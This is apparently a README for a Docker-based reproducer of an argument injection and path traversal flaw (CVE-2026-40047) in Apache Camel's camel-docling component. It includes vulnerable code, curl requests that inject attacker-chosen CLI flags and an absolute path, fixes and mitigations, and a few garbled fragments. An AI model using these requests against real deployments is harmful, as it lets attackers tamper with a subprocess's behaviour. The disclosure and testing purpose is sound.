
Reproducer for CVE-2026-40047: Apache Camel camel-docling CLI argument injection / path traversal
This project demonstrates a CLI argument injection and path traversal vulnerability in Apache
Camel's camel-docling component, tracked as CVE-2026-40047. DoclingProducer builds the
invocation of the external docling command-line tool from message headers; custom arguments supplied
through the CamelDoclingCustomArguments header were appended with insufficient validation (a denylist
plus a literal ../ check), so an attacker who influences those headers can inject arbitrary docling
CLI flags and traversal-bearing path values into the subprocess.
Advisory: https://camel.apache.org/security/CVE-2026-40047.html
DoclingProducer assembles the docling invocation and runs it via java.lang.ProcessBuilder (list
form — no shell). Custom CLI arguments from the CamelDoclingCustomArguments header are appended to
the command:
// DoclingProducer.addCustomArguments(...) - affected version
List<String> customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
validateCustomArguments(customArgs); // denylist + literal "../" check (weak)
command.addAll(customArgs);
}
In affected versions validateCustomArguments relied on a denylist of disallowed flags and only
rejected path values containing a literal ../. As a result:
docling.../ (absolute paths, or normalized sequences)
are not caught.Because Camel builds the docling invocation, the component is responsible for constraining these
values. The fix (CAMEL-23212) replaces the denylist with a strict allowlist of recognized flags,
rejects producer-managed flags (--output/-o) and shell metacharacters (defence in depth), and
normalizes path-like values with Path.normalize() before validating.
The invocation uses the list form of
ProcessBuilder, so a shell does not interpret the values — OS command injection via shell metacharacters is not possible; the metacharacter rejection in the fix is defence-in-depth.
from("direct:convert")
.to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");
docling is an external tool. This reproducer ships a stub docling (on PATH inside the
container) that logs the argv it receives and writes back a markdown file, so the injected arguments
are visible in the HTTP response and in /tmp/docling-invocations.log. Everything runs inside a Docker
image (app + stub) — so no real docling install is needed.
docling)mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal
# stub docling receives: docling --to md --ocr-lang en --output <tmp> /tmp/input.txt
curl "http://localhost:8080/exploit/attack"
# injects CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value]
# -> stub docling receives:
# docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output <tmp> /tmp/input.txt
# a path value with no literal "../" (absolute path) also passes:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"
On an affected version (this reproducer pins 4.18.2) the route succeeds and the injected
arguments reach the subprocess. On a fixed version (4.18.3 / 4.19.0) the allowlist rejects
--injected-by-attacker with an IllegalArgumentException and the route fails.
docker compose down
CamelDoclingCustomArguments (or the
path-bearing headers) of a docling: producer.Upgrade to 4.18.3 / 4.19.0. The fix uses a strict allowlist of recognized docling flags, rejects
producer-managed flags and shell metacharacters, and normalizes path values with Path.normalize()
before validating them.
Until upgrading:
CamelDoclingCustomArguments or the path-bearing headers.removeHeaders("Camel*")) from messages arriving from untrusted
producers before the docling: producer.CVE-2026-40047/
├── pom.xml
├── Dockerfile # app + stub 'docling' on PATH
├── docker-compose.yml
├── docling-stub.sh # stub 'docling' (logs argv, writes markdown)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DoclingRoute.java # from(direct:convert).to(docling:convert)
│ └── ExploitController.java # injects CamelDoclingCustomArguments
└── resources/
└── application.properties
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.
| Property | Value |
|---|
| Component | camel-docling |
| Affected Class | org.apache.camel.component.docling.DoclingProducer (addCustomArguments / validateCustomArguments) |
| Root cause | CamelDoclingCustomArguments (a List<String>) appended to the docling CLI args with a weak denylist + literal ../ check |
| CWE | CWE-88 (Argument Injection) / CWE-22 (Path Traversal) |
| Impact | Injection of arbitrary/unintended docling CLI flags and out-of-directory path values into the external tool. NOT OS command injection (list-based ProcessBuilder, no shell). |
| Affected Versions | From 4.15.0 before 4.18.3 |
| Fixed Versions | 4.18.3, 4.19.0 |
| JIRA | CAMEL-23212 |
| Reporter | Andrea Cosentino (Apache Software Foundation) |